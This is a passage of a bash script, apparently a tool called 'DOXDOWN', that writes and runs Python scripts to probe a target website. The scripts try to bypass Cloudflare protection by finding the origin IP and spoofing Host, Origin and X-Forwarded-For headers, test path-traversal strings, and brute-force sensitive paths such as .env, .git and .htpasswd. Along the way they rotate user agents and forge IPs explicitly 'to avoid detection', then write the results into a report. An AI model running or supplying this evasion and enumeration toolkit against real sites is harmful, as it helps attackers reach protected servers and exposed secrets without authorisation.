chmod +x vulnerabilities/vulnerability_scanner.py | |
# Run vulnerability scanner | |
log "INFO" "Running vulnerability scanner..." | |
python3 vulnerabilities/vulnerability_scanner.py "$TARGET_DOMAIN" "enumeration/crawl_results" | |
# ===================================== | |
# Phase 3: Cloudflare Bypass Tests | |
# ===================================== | |
log "INFO" "========== PHASE 3: CLOUDFLARE BYPASS TESTS ==========" | |
# Create a script to test for Cloudflare misconfigurations | |
log "INFO" "Creating Cloudflare bypass tester..." | |
cat > "vulnerabilities/cloudflare_bypass.py" << 'EOL' | |
#!/usr/bin/env python3 | |
import requests | |
import sys | |
import random | |
import time | |
from urllib.parse import urlparse | |
import socket | |
import json | |
import concurrent.futures | |
# Configuration | |
target_url = sys.argv[1] | |
output_file = "cloudflare_bypass_results.json" | |
MAX_THREADS = 3 | |
# Get domain from URL | |
parsed = urlparse(target_url) | |
target_domain = parsed.netloc | |
# Random user agents | |
user_agents = [ | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", | |
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" | |
] | |
def random_ip(): | |
return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}" | |
def make_request(url, headers=None, method="GET"): | |
if headers is None: | |
headers = { | |
"User-Agent": random.choice(user_agents), | |
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", | |
"Accept-Language": "en-US,en;q=0.5" | |
} | |
try: | |
response = requests.request( | |
method, | |
url, | |
headers=headers, | |
timeout=10, | |
allow_redirects=False | |
) | |
time.sleep(1) # Be gentle | |
return response | |
except Exception as e: | |
print(f"Error requesting {url}: {e}") | |
return None | |
def get_baseline_response(): | |
print("Getting baseline response...") | |
return make_request(target_url) | |
def test_direct_ip(): | |
"""Try to resolve and connect directly to origin IP""" | |
print("Testing direct IP connection bypass...") | |
results = [] | |
try: | |
# Try to get IP addresses for the domain | |
ip_addresses = [] | |
try: | |
# Traditional DNS lookup | |
ip_addresses = socket.gethostbyname_ex(target_domain)[2] | |
except: | |
pass | |
if not ip_addresses: | |
return [{ | |
"test": "Direct IP Connection", | |
"status": "Skip", | |
"reason": "Could not resolve domain IP addresses" | |
}] | |
# Test direct IP connection | |
for ip in ip_addresses: | |
print(f"Testing direct connection to {ip}...") | |
# Create URL with IP instead of domain | |
scheme = parsed.scheme | |
path = parsed.path or "/" | |
direct_url = f"{scheme}://{ip}{path}" | |
# Add Host header to specify the domain | |
headers = { | |
"User-Agent": random.choice(user_agents), | |
"Host": target_domain | |
} | |
response = make_request(direct_url, headers) | |
if response: | |
# Check if this bypasses Cloudflare | |
cf_headers = [h for h in response.headers if h.lower().startswith("cf-")] | |
result = { | |
"test": "Direct IP Connection", | |
"ip_tested": ip, | |
"status_code": response.status_code, | |
"cf_headers_present": len(cf_headers) > 0, | |
"headers": dict(response.headers), | |
"status": "Success" if len(cf_headers) == 0 and response.status_code != 403 else "Failed" | |
} | |
if result["status"] == "Success": | |
result["note"] = "⚠️ Potential bypass found - direct IP connection works without Cloudflare!" | |
print(f"POTENTIAL BYPASS: Cloudflare bypass possible via direct IP: {ip}") | |
results.append(result) | |
except Exception as e: | |
print(f"Error testing direct IP connection: {e}") | |
results.append({ | |
"test": "Direct IP Connection", | |
"status": "Error", | |
"error": str(e) | |
}) | |
return results | |
def test_host_header_spoofing(): | |
"""Test if Host header can be manipulated to bypass Cloudflare""" | |
print("Testing Host header spoofing bypass...") | |
results = [] | |
test_hosts = [ | |
"localhost", | |
"localhost.localdomain", | |
"127.0.0.1", | |
"internal.local", | |
target_domain.replace("www.", ""), | |
f"www2.{target_domain}", | |
f"origin-{target_domain}", | |
f"origin.{target_domain}", | |
f"cpanel.{target_domain}", | |
f"webmail.{target_domain}" | |
] | |
for host in test_hosts: | |
print(f"Testing Host: {host}") | |
headers = { | |
"User-Agent": random.choice(user_agents), | |
"Host": host, | |
"X-Forwarded-For": random_ip() | |
} | |
response = make_request(target_url, headers) | |
if response: | |
# Check for interesting responses | |
cf_headers = [h for h in response.headers if h.lower().startswith("cf-")] | |
result = { | |
"test": "Host Header Spoofing", | |
"host_tested": host, | |
"status_code": response.status_code, | |
"cf_headers_present": len(cf_headers) > 0, | |
"content_length": len(response.content), | |
"status": "Interesting" if (response.status_code in [200, 301, 302, 307, 308] and | |
len(cf_headers) == 0) else "Normal" | |
} | |
if result["status"] == "Interesting": | |
result["note"] = "Potential host header manipulation issue" | |
print(f"INTERESTING: Host header '{host}' returned status {response.status_code} without CF headers") | |
results.append(result) | |
return results | |
def test_origin_header(): | |
"""Test if Origin header can help bypass protection""" | |
print("Testing Origin header bypass...") | |
origins = [ | |
"null", | |
"https://localhost", | |
"https://127.0.0.1", | |
"https://internal.local", | |
f"https://{target_domain}", | |
"https://evil.com" | |
] | |
results = [] | |
for origin in origins: | |
print(f"Testing Origin: {origin}") | |
headers = { | |
"User-Agent": random.choice(user_agents), | |
"Origin": origin, | |
"X-Forwarded-For": random_ip() | |
} | |
response = make_request(target_url, headers) | |
if response: | |
cors_headers = {k: v for k, v in response.headers.items() | |
if k.lower().startswith("access-control")} | |
result = { | |
"test": "Origin Header", | |
"origin_tested": origin, | |
"status_code": response.status_code, | |
"cors_headers": cors_headers, | |
"status": "Interesting" if cors_headers else "Normal" | |
} | |
if cors_headers: | |
acao = response.headers.get("Access-Control-Allow-Origin", "") | |
if acao == "*" or acao == origin: | |
result["note"] = f"CORS is enabled for {acao}" | |
if "evil.com" in origin and origin in acao: | |
result["warning"] = "⚠️ CORS misconfiguration allows evil.com!" | |
print(f"VULNERABILITY: CORS misconfigured to allow {origin}") | |
results.append(result) | |
return results | |
def test_x_forwarded_headers(): | |
"""Test if X-Forwarded headers can be used for bypass""" | |
print("Testing X-Forwarded header bypass...") | |
# Private IPs to test for internal access | |
private_ips = [ | |
"127.0.0.1", | |
"10.0.0.1", | |
"172.16.0.1", | |
"192.168.1.1" | |
] | |
x_forwarded_headers = [ | |
"X-Forwarded-For", | |
"X-Forwarded-Host", | |
"X-Client-IP", | |
"X-Real-IP", | |
"X-Remote-IP", | |
"X-Remote-Addr", | |
"X-Host" | |
] | |
results = [] | |
for header in x_forwarded_headers: | |
for ip in private_ips: | |
print(f"Testing {header}: {ip}") | |
headers = { | |
"User-Agent": random.choice(user_agents), | |
header: ip | |
} | |
response = make_request(target_url, headers) | |
if response: | |
result = { | |
"test": "X-Forwarded Headers", | |
"header_tested": f"{header}: {ip}", | |
"status_code": response.status_code, | |
"content_length": len(response.content), | |
"cf_ray": response.headers.get("CF-RAY", "Not present"), | |
"status": "Normal" | |
} | |
# Compare to baseline response | |
if response.status_code not in [403, 503] and "CF-RAY" not in response.headers: | |
result["status"] = "Interesting" | |
result["note"] = "Response doesn't include Cloudflare headers" | |
print(f"INTERESTING: {header}: {ip} might bypass Cloudflare") | |
results.append(result) | |
return results | |
def test_http_methods(): | |
"""Test non-standard HTTP methods""" | |
print("Testing HTTP method bypass...") | |
methods = ["GET", "POST", "PUT", "DELETE", "OPTIONS", "TRACE", "CONNECT", "PATCH", "PROPFIND", "DEBUG"] | |
results = [] | |
for method in methods: | |
print(f"Testing HTTP method: {method}") | |
headers = { | |
"User-Agent": random.choice(user_agents), | |
"X-Forwarded-For": random_ip() | |
} | |
response = make_request(target_url, headers, method=method) | |
if response: | |
result = { | |
"test": "HTTP Methods", | |
"method_tested": method, | |
"status_code": response.status_code, | |
"headers": dict(response.headers), | |
"status": "Normal" | |
} | |
# Check for unusual responses | |
if method not in ["GET", "POST"] and response.status_code in [200, 301, 302, 307]: | |
result["status"] = "Interesting" | |
result["note"] = f"Unusual HTTP method {method} returns {response.status_code}" | |
print(f"INTERESTING: {method} method returns {response.status_code}") | |
if method == "TRACE" and response.status_code == 200: | |
result["status"] = "Vulnerable" | |
result["note"] = "⚠️ TRACE method enabled - potential security issue!" | |
print("VULNERABILITY: TRACE method is enabled") | |
results.append(result) | |
return results | |
def test_path_traversal(): | |
"""Test for path traversal through Cloudflare""" | |
print("Testing path traversal...") | |
traversal_paths = [ | |
"/..", | |
"/../", | |
"/../../", | |
"/%2e%2e/", | |
"/%252e%252e/", | |
"/..;/", | |
"/;/", | |
"/.././", | |
"/./", | |
"/;foo=bar/" | |
] | |
results = [] | |
for path in traversal_paths: | |
test_url = target_url.rstrip("/") + path | |
print(f"Testing path: {test_url}") | |
headers = { | |
"User-Agent": random.choice(user_agents), | |
"X-Forwarded-For": random_ip() | |
} | |
response = make_request(test_url, headers) | |
if response: | |
result = { | |
"test": "Path Traversal", | |
"path_tested": path, | |
"status_code": response.status_code, | |
"content_length": len(response.content), | |
"status": "Normal" | |
} | |
# Check for unusual responses | |
if response.status_code in [200, 301, 302, 307, 308]: | |
result["status"] = "Interesting" | |
result["note"] = f"Path {path} returns {response.status_code}" | |
print(f"INTERESTING: Path {path} returns {response.status_code}") | |
results.append(result) | |
return results | |
def main(): | |
baseline = get_baseline_response() | |
if not baseline: | |
print("Error: Couldn't get baseline response from target") | |
return | |
print(f"Baseline response: Status: {baseline.status_code}, CF-RAY: {baseline.headers.get('CF-RAY', 'Not present')}") | |
# Dictionary to store all results | |
all_results = { | |
"target_url": target_url, | |
"target_domain": target_domain, | |
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), | |
"baseline": { | |
"status_code": baseline.status_code, | |
"cf_ray": baseline.headers.get("CF-RAY", "Not present"), | |
"cloudflare_headers": {k: v for k, v in baseline.headers.items() if k.lower().startswith("cf-")} | |
}, | |
"tests": {} | |
} | |
# Run tests in parallel with threadpool | |
print("Starting Cloudflare bypass tests...") | |
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: | |
# Map test functions to their names | |
test_functions = { | |
"direct_ip": test_direct_ip, | |
"host_header": test_host_header_spoofing, | |
"origin_header": test_origin_header, | |
"x_forwarded": test_x_forwarded_headers, | |
"http_methods": test_http_methods, | |
"path_traversal": test_path_traversal | |
} | |
# Submit all tests | |
future_to_test = {executor.submit(func): test_name for test_name, func in test_functions.items()} | |
# Process results as they complete | |
for future in concurrent.futures.as_completed(future_to_test): | |
test_name = future_to_test[future] | |
try: | |
results = future.result() | |
all_results["tests"][test_name] = results | |
print(f"Completed test: {test_name}") | |
except Exception as e: | |
print(f"Error in {test_name}: {e}") | |
all_results["tests"][test_name] = [{"test": test_name, "status": "Error", "error": str(e)}] | |
# Save all results to JSON file | |
with open(output_file, "w") as f: | |
json.dump(all_results, f, indent=2) | |
print(f"All tests completed. Results saved to {output_file}") | |
# Print summary of interesting findings | |
interesting_count = 0 | |
print("\nSummary of potential issues:") | |
for test_name, results in all_results["tests"].items(): | |
for result in results: | |
if "status" in result and result["status"] in ["Vulnerable", "Success", "Interesting"]: | |
interesting_count += 1 | |
note = result.get("note", "Interesting finding") | |
warning = result.get("warning", "") | |
print(f"- {note} {warning}") | |
# Additional details | |
if "ip_tested" in result: | |
print(f" IP tested: {result['ip_tested']}") | |
if "host_tested" in result: | |
print(f" Host tested: {result['host_tested']}") | |
if "header_tested" in result: | |
print(f" Header tested: {result['header_tested']}") | |
if "method_tested" in result: | |
print(f" Method tested: {result['method_tested']}") | |
if "path_tested" in result: | |
print(f" Path tested: {result['path_tested']}") | |
print(f" Status code: {result.get('status_code', 'N/A')}") | |
print() | |
if interesting_count == 0: | |
print("No interesting findings detected.") | |
else: | |
print(f"Found {interesting_count} potential issues.") | |
if __name__ == "__main__": | |
main() | |
EOL | |
chmod +x vulnerabilities/cloudflare_bypass.py | |
# Run Cloudflare bypass tests | |
log "INFO" "Running Cloudflare bypass tests..." | |
python3 vulnerabilities/cloudflare_bypass.py "$TARGET_URL" | |
# ===================================== | |
# Phase 4: Content Discovery | |
# ===================================== | |
log "INFO" "========== PHASE 4: CONTENT DISCOVERY ==========" | |
# Create custom wordlist | |
log "INFO" "Creating custom wordlist..." | |
cat > "enumeration/create_wordlist.py" << 'EOL' | |
#!/usr/bin/env python3 | |
import os | |
import sys | |
import json | |
from urllib.parse import urlparse, parse_qs | |
import re | |
INPUT_DIR = sys.argv[1] | |
OUTPUT_FILE = sys.argv[2] | |
# List of common directories/files to include | |
common_paths = [ | |
"admin", "administrator", "login", "wp-login.php", "wp-admin", | |
"dashboard", "control", "panel", "cpanel", "phpmyadmin", | |
"config", "configuration", "settings", "setup", "install", | |
"backup", "bak", "old", "dev", "development", "staging", "test", | |
"beta", "alpha", "production", "prod", "api", "v1", "v2", "api/v1", | |
"download", "uploads", "files", "docs", "documentation", "help", | |
"status", "phpinfo.php", "info.php", "test.php", "debug", "console", | |
".git", ".env", ".htaccess", ".htpasswd", "robots.txt", "sitemap.xml", | |
"server-status", "log", "logs", "tmp", "temp", "cache" | |
] | |
def extract_path_words_from_url(url): | |
"""Extract words from URL paths""" | |
parsed = urlparse(url) | |
path = parsed.path | |
# Skip empty paths or single slash | |
if not path or path == "/": | |
return [] | |
# Split path into components | |
path_words = [] | |
for component in path.split('/'): | |
if component and not component.startswith('.'): # Skip empty parts and hidden files | |
# Handle hyphens and underscores | |
for word in re.findall(r'[a-zA-Z0-9]+', component): | |
if len(word) > 2: # Only include words longer than 2 chars | |
path_words.append(word.lower()) | |
# Also add the full component | |
if len(component) > 2: | |
path_words.append(component.lower()) | |
return path_words | |
def extract_query_params(url): | |
"""Extract parameter names from URL query strings""" | |
parsed = urlparse(url) | |
if not parsed.query: | |
return [] | |
params = parse_qs(parsed.query) | |
return [param.lower() for param in params.keys()] | |
def extract_words_from_js(js_content): | |
"""Extract potential endpoint words from JavaScript files""" | |
# Look for URL paths | |
words = set() | |
# URL patterns | |
path_pattern = re.compile(r'["\'](\/?[a-zA-Z0-9_\-\/]+)["\']') | |
paths = path_pattern.findall(js_content) | |
for path in paths: | |
# Skip empty or very short paths | |
if not path or len(path) <= 2: | |
continue | |
# Process each path component | |
for component in path.split('/'): | |
if component and len(component) > 2: | |
words.add(component.lower()) | |
# Function and variable names that might be endpoints | |
endpoint_pattern = re.compile(r'function\s+([a-zA-Z0-9_]+)|\.([a-zA-Z0-9_]+)\(') | |
potential_endpoints = endpoint_pattern.findall(js_content) | |
for func_group in potential_endpoints: | |
for func in func_group: | |
if func and len(func) > 2: | |
words.add(func.lower()) | |
return list(words) | |
# Main wordlist generation | |
def generate_wordlist(): | |
wordlist = set(common_paths) # Start with common paths | |
# Process crawled URLs | |
try: | |
with open(f"{INPUT_DIR}/crawled_urls.json", "r") as f: | |
urls = json.load(f) | |
for url in urls: | |
# Extract words from URL paths | |
words = extract_path_words_from_url(url) | |
wordlist.update(words) | |
# Extract parameter names | |
params = extract_query_params(url) | |
wordlist.update(params) | |
except Exception as e: | |
print(f"Error processing URLs: {e}") | |
# Process JS files | |
try: | |
js_dir = INPUT_DIR | |
for file in os.listdir(js_dir): | |
if file.startswith("js_") and not file.endswith(".json"): | |
js_path = os.path.join(js_dir, file) | |
with open(js_path, "r", encoding="utf-8", errors="ignore") as f: | |
try: | |
content = f.read() | |
words = extract_words_from_js(content) | |
wordlist.update(words) | |
except Exception as e: | |
print(f"Error reading JS file {file}: {e}") | |
except Exception as e: | |
print(f"Error processing JS files: {e}") | |
# Process forms for field names | |
try: | |
with open(f"{INPUT_DIR}/forms.json", "r") as f: | |
forms = json.load(f) | |
for form in forms: | |
for field in form.get("fields", []): | |
name = field.get("name", "") | |
if name and len(name) > 2: | |
wordlist.add(name.lower()) | |
except Exception as e: | |
print(f"Error processing forms: {e}") | |
# Save to file | |
with open(OUTPUT_FILE, "w") as f: | |
for word in sorted(wordlist): | |
f.write(f"{word}\n") | |
return len(wordlist) | |
# Generate wordlist and print stats | |
word_count = generate_wordlist() | |
print(f"Generated wordlist with {word_count} unique entries in {OUTPUT_FILE}") | |
EOL | |
chmod +x enumeration/create_wordlist.py | |
# Create wordlist | |
log "INFO" "Generating custom wordlist..." | |
python3 enumeration/create_wordlist.py "enumeration/crawl_results" "enumeration/wordlists/custom_wordlist.txt" | |
# Create content discovery script | |
cat > "enumeration/content_discovery.py" << 'EOL' | |
#!/usr/bin/env python3 | |
import requests | |
import time | |
import random | |
import sys | |
import os | |
import json | |
from concurrent.futures import ThreadPoolExecutor | |
from urllib.parse import urljoin | |
# Configuration | |
TARGET_URL = sys.argv[1] | |
WORDLIST_FILE = sys.argv[2] | |
OUTPUT_FILE = "content_discovery_results.json" | |
MAX_THREADS = 10 | |
REQUEST_DELAY = 0.5 # Seconds between requests (per thread) | |
MAX_RETRIES = 3 | |
# Load wordlist | |
with open(WORDLIST_FILE, "r") as f: | |
wordlist = [line.strip() for line in f if line.strip()] | |
print(f"Loaded wordlist with {len(wordlist)} entries") | |
# Random user agents | |
user_agents = [ | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", | |
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" | |
] | |
# Random delay to avoid detection | |
def get_random_delay(): | |
return random.uniform(REQUEST_DELAY, REQUEST_DELAY * 2.0) | |
# Generate random IP for headers | |
def random_ip(): | |
return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}" | |
# Test a single path | |
def check_path(path): | |
url = urljoin(TARGET_URL, path) | |
retries = 0 | |
while retries < MAX_RETRIES: | |
try: | |
# Randomize headers to avoid detection | |
headers = { | |
"User-Agent": random.choice(user_agents), | |
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", | |
"Accept-Language": "en-US,en;q=0.5", | |
"Connection": "close", | |
"X-Forwarded-For": random_ip() | |
} | |
response = requests.get(url, headers=headers, timeout=10, allow_redirects=False) | |
time.sleep(get_random_delay()) # Be polite, add delay | |
# Check content-type and size for "not found" detection | |
content_type = response.headers.get("Content-Type", "") | |
size = len(response.content) | |
# Skip common error pages based on size and content-type | |
result = { | |
"path": path, | |
"url": url, | |
"status_code": response.status_code, | |
"content_type": content_type, | |
"content_length": size | |
} | |
# Check for interesting status codes | |
if response.status_code in [200, 201, 204, 301, 302, 307, 401, 403]: | |
if response.status_code in [301, 302, 307, 308]: | |
result["redirect_location"] = response.headers.get("Location", "") | |
# For 200 responses, determine if this is a custom 404 page | |
if response.status_code == 200: | |
# A very basic heuristic for custom 404 detection | |
# This can be improved with more sophisticated methods | |
if "not found" in response.text.lower() or "404" in response.text: | |
result["likely_custom_404"] = True | |
else: | |
result["likely_custom_404"] = False | |
return result | |
return None # Skip non-interesting status codes | |
except requests.exceptions.RequestException as e: | |
retries += 1 | |
if retries >= MAX_RETRIES: | |
return { | |
"path": path, | |
"url": url, | |
"error": str(e), | |
"status": "error" | |
} | |
time.sleep(get_random_delay() * 2) # Longer delay on error | |
return None | |
# Progress tracking | |
class ProgressTracker: | |
def __init__(self, total): | |
self.total = total | |
self.completed = 0 | |
self.found = 0 | |
self.start_time = time.time() | |
def update(self, found=False): | |
self.completed += 1 | |
if found: | |
self.found += 1 | |
self._print_progress() | |
def _print_progress(self): | |
elapsed = time.time() - self.start_time | |
rps = self.completed / elapsed if elapsed > 0 else 0 | |
eta = (self.total - self.completed) / rps if rps > 0 else 0 | |
percent = (self.completed / self.total) * 100 | |
bar_length = 30 | |
filled_length = int(bar_length * self.completed // self.total) | |
bar = '█' * filled_length + '░' * (bar_length - filled_length) | |
print(f"\r[{bar}] {percent:.1f}% | {self.completed}/{self.total} | Found: {self.found} | RPS: {rps:.1f} | ETA: {eta:.0f}s ", end="") | |
if self.completed == self.total: | |
print() # End with newline when done | |
# Main function | |
def main(): | |
results = [] | |
tracker = ProgressTracker(len(wordlist)) | |
print(f"Starting content discovery on {TARGET_URL}") | |
print(f"Using {MAX_THREADS} threads, delays between {REQUEST_DELAY} and {REQUEST_DELAY*2} seconds") | |
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: | |
future_to_path = {executor.submit(check_path, path): path for path in wordlist} | |
for future in future_to_path: | |
result = future.result() | |
if result: | |
found = True | |
if result.get("status") == "error": | |
found = False | |
elif result.get("likely_custom_404") is True: | |
found = False | |
if found: | |
results.append(result) | |
print(f"\nFOUND: {result['url']} ({result['status_code']})") | |
tracker.update(found=found) | |
else: | |
tracker.update(found=False) | |
# Save results to JSON | |
with open(OUTPUT_FILE, "w") as f: | |
json.dump(results, f, indent=2) | |
print(f"\nContent discovery complete. Found {len(results)} resources.") | |
print(f"Results saved to {OUTPUT_FILE}") | |
# Print summary of findings by status code | |
status_counts = {} | |
for result in results: | |
status = result.get("status_code", "error") | |
if status not in status_counts: | |
status_counts[status] = 0 | |
status_counts[status] += 1 | |
print("\nStatus code summary:") | |
for status, count in sorted(status_counts.items()): | |
print(f" {status}: {count}") | |
if __name__ == "__main__": | |
main() | |
EOL | |
chmod +x enumeration/content_discovery.py | |
# Run content discovery | |
log "INFO" "Running content discovery..." | |
python3 enumeration/content_discovery.py "$TARGET_URL" "enumeration/wordlists/custom_wordlist.txt" | |
# ===================================== | |
# Phase 5: Report Generation | |
# ===================================== | |
log "INFO" "========== PHASE 5: REPORT GENERATION ==========" | |
# Create report generation script | |
log "INFO" "Generating final report..." | |
cat > "generate_report.py" << 'EOL' | |
#!/usr/bin/env python3 | |
import json | |
import os | |
import sys | |
import datetime | |
import socket | |
from urllib.parse import urlparse | |
# Configuration | |
TARGET_URL = sys.argv[1] | |
REPORT_FILE = "DOXDOWN_REPORT.md" | |
DATA_DIR = "." | |
# Parse domain from URL | |
parsed_url = urlparse(TARGET_URL) | |
TARGET_DOMAIN = parsed_url.netloc | |
# Helper function to load JSON data | |
def load_json(filename, default=None): | |
try: | |
with open(filename, 'r') as f: | |
return json.load(f) | |
except Exception as e: | |
print(f"Error loading {filename}: {e}") | |
return default or {} | |
def get_file_count(directory, prefix=""): | |
if not os.path.exists(directory): | |
return 0 | |
return len([f for f in os.listdir(directory) if f.startswith(prefix) and os.path.isfile(os.path.join(directory, f))]) | |
def get_domain_info(): | |
info = {} | |
# IP Addresses | |
try: | |
info["ip_addresses"] = socket.gethostbyname_ex(TARGET_DOMAIN)[2] | |
except: | |
info["ip_addresses"] = ["Could not resolve"] | |
# SSL/TLS Info | |
info["ssl"] = "Not checked" | |
# Cloudflare detection | |
cf_file = "recon/initial_headers.txt" | |
if os.path.exists(cf_file): | |
with open(cf_file, "r") as f: | |
headers = f.read() | |
info["cloudflare"] = "server: cloudflare" in headers.lower() | |
else: | |
info["cloudflare"] = "Unknown" | |
# Site title | |
title_file = "recon/site_title.txt" | |
if os.path.exists(title_file): | |
with open(title_file, "r") as f: | |
info["title"] = f.read().strip() | |
else: | |
info["title"] = "Unknown" | |
return info | |
def generate_report(): | |
# Start gathering data | |
domain_info = get_domain_info() | |
cloudflare_results = load_json("cloudflare_bypass_results.json") | |
content_discovery = load_json("content_discovery_results.json", []) | |
vulnerabilities = load_json("vulnerability_findings.json", []) | |
# Pages data | |
pages_file = "enumeration/crawl_results/pages.json" | |
pages = load_json(pages_file, []) | |
# Interesting findings | |
interesting_file = "enumeration/crawl_results/interesting.json" | |
interesting = load_json(interesting_file, {}) | |
# Technologies | |
tech_file = "enumeration/crawl_results/technologies.json" | |
technologies = load_json(tech_file, []) | |
# Start writing the report | |
with open(REPORT_FILE, "w") as report: | |
# Header | |
report.write(f"# DOXDOWN Security Assessment Report\n\n") | |
report.write(f"**Target:** {TARGET_URL} \n") | |
report.write(f"**Date:** {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} \n") | |
report.write(f"**Report Version:** 1.0 \n\n") | |
# TOC | |
report.write("## Table of Contents\n\n") | |
report.write("1. [Executive Summary](#executive-summary)\n") | |
report.write("2. [Target Information](#target-information)\n") | |
report.write("3. [Methodology](#methodology)\n") | |
report.write("4. [Findings & Vulnerabilities](#findings--vulnerabilities)\n") | |
report.write("5. [Cloudflare Protection Analysis](#cloudflare-protection-analysis)\n") | |
report.write("6. [Content Discovery](#content-discovery)\n") | |
report.write("7. [Technical Details](#technical-details)\n") | |
report.write("8. [Recommendations](#recommendations)\n") | |
report.write("9. [Appendices](#appendices)\n\n") | |
# Executive Summary | |
report.write("## Executive Summary\n\n") | |
report.write("This report presents the findings of the security assessment conducted on ") | |
report.write(f"{TARGET_URL}. The assessment was performed using DOXDOWN, ") | |
report.write("a specialized security tool for Cloudflare-protected websites.\n\n") | |
# Summary of findings | |
vuln_count = len(vulnerabilities) | |
cloudf_bypass_count = 0 | |
if cloudflare_results and "tests" in cloudflare_results: | |
for test_type, results in cloudflare_results["tests"].items(): | |
for result in results: | |
if result.get("status") in ["Success", "Interesting", "Vulnerable"]: | |
cloudf_bypass_count += 1 | |
content_count = len(content_discovery) | |
report.write(f"**Key Statistics:**\n") | |
report.write(f"- **Potential Vulnerabilities:** {vuln_count}\n") | |
report.write(f"- **Cloudflare Bypass Techniques:** {cloudf_bypass_count}\n") | |
report.write(f"- **Sensitive Content Discovered:** {content_count}\n") | |
report.write(f"- **Pages Crawled:** {len(pages)}\n\n") | |
# Critical findings summary | |
report.write("**Critical Findings Summary:**\n\n") | |
if vuln_count > 0 or cloudf_bypass_count > 0: | |
if vuln_count > 0: | |
# Group vulnerabilities by type | |
vuln_types = {} | |
for vuln in vulnerabilities: | |
v_type = vuln.get("type", "Unknown") | |
if v_type not in vuln_types: | |
vuln_types[v_type] = 0 | |
vuln_types[v_type] += 1 | |
report.write("The following vulnerabilities were identified:\n\n") | |
for v_type, count in vuln_types.items(): | |
report.write(f"- {v_type}: {count} instances\n") | |
report.write("\n") | |
if cloudf_bypass_count > 0: | |
report.write("Potential Cloudflare bypass techniques were identified that could ") | |
report.write("expose the origin server to direct attacks, bypassing Cloudflare protection.\n\n") | |
else: | |
report.write("No critical security vulnerabilities were identified during this assessment.\n\n") | |
# Target Information | |
report.write("## Target Information\n\n") | |
report.write(f"- **Domain:** {TARGET_DOMAIN}\n") | |
report.write(f"- **IP Address(es):** {', '.join(domain_info.get('ip_addresses', ['Unknown']))}\n") | |
report.write(f"- **Cloudflare Protected:** {'Yes' if domain_info.get('cloudflare') else 'No'}\n") | |
report.write(f"- **Site Title:** {domain_info.get('title', 'Unknown')}\n\n") | |
# Technologies | |
if technologies: | |
report.write("**Detected Technologies:**\n\n") | |
for tech in technologies[:15]: # Limit to 15 to avoid overwhelming | |
report.write(f"- {tech}\n") | |
if len(technologies) > 15: | |
report.write(f"- *And {len(technologies) - 15} more...*\n") | |
report.write("\n") | |
# Methodology | |
report.write("## Methodology\n\n") | |
report.write("The security assessment followed a structured methodology designed specifically ") | |
report.write("for Cloudflare-protected websites:\n\n") | |
report.write("1. **Reconnaissance**\n") | |
report.write(" - DNS and subdomain enumeration\n") | |
report.write(" - Identifying Cloudflare presence and configuration\n") | |
report.write(" - Technology stack identification\n\n") | |
report.write("2. **Cloudflare Analysis**\n") | |
report.write(" - Testing for origin server exposure\n") | |
report.write(" - Cloudflare bypass techniques\n") | |
report.write(" - WAF rule testing\n\n") | |
report.write("3. **Website Mapping**\n") | |
report.write(" - Intelligent crawling with Cloudflare avoidance\n") | |
report.write(" - API endpoint discovery\n") | |
report.write(" - Content discovery\n\n") | |
report.write("4. **Vulnerability Assessment**\n") | |
report.write(" - Automated testing for common vulnerabilities\n") | |
report.write(" - Custom payload testing\n") | |
report.write(" - Cloudflare bypass verification\n\n") | |
# Findings & Vulnerabilities Section | |
report.write("## Findings & Vulnerabilities\n\n") | |
if vulnerabilities: | |
report.write("### Identified Vulnerabilities\n\n") | |
report.write("| Type | URL | Parameter | Severity |\n") | |
report.write("|------|-----|-----------|----------|\n") | |
for vuln in vulnerabilities: | |
v_type = vuln.get("type", "Unknown") | |
url = vuln.get("url", "Unknown") | |
param = vuln.get("parameter", vuln.get("field", "N/A")) | |
# Determine severity based on vulnerability type | |
severity = "Medium" | |
if v_type.lower() in ["sqli", "rce", "command_injection"]: | |
severity = "High" | |
elif v_type.lower() in ["open_redirect", "information disclosure"]: | |
severity = "Low" | |
report.write(f"| {v_type} | {url} | {param} | {severity} |\n") | |
report.write("\n") | |
# Detailed findings for top vulnerabilities | |
report.write("### Detailed Vulnerability Analysis\n\n") | |
for i, vuln in enumerate(vulnerabilities[:5]): # Limit to top 5 for brevity | |
v_type = vuln.get("type", "Unknown") | |
url = vuln.get("url", "Unknown") | |
param = vuln.get("parameter", vuln.get("field", "N/A")) | |
evidence = vuln.get("evidence", "No specific evidence captured") | |
report.write(f"#### {i+1}. {v_type} at {url}\n\n") | |
report.write(f"**Affected Parameter:** {param}\n") | |
report.write(f"**Evidence:** `{evidence}`\n") | |
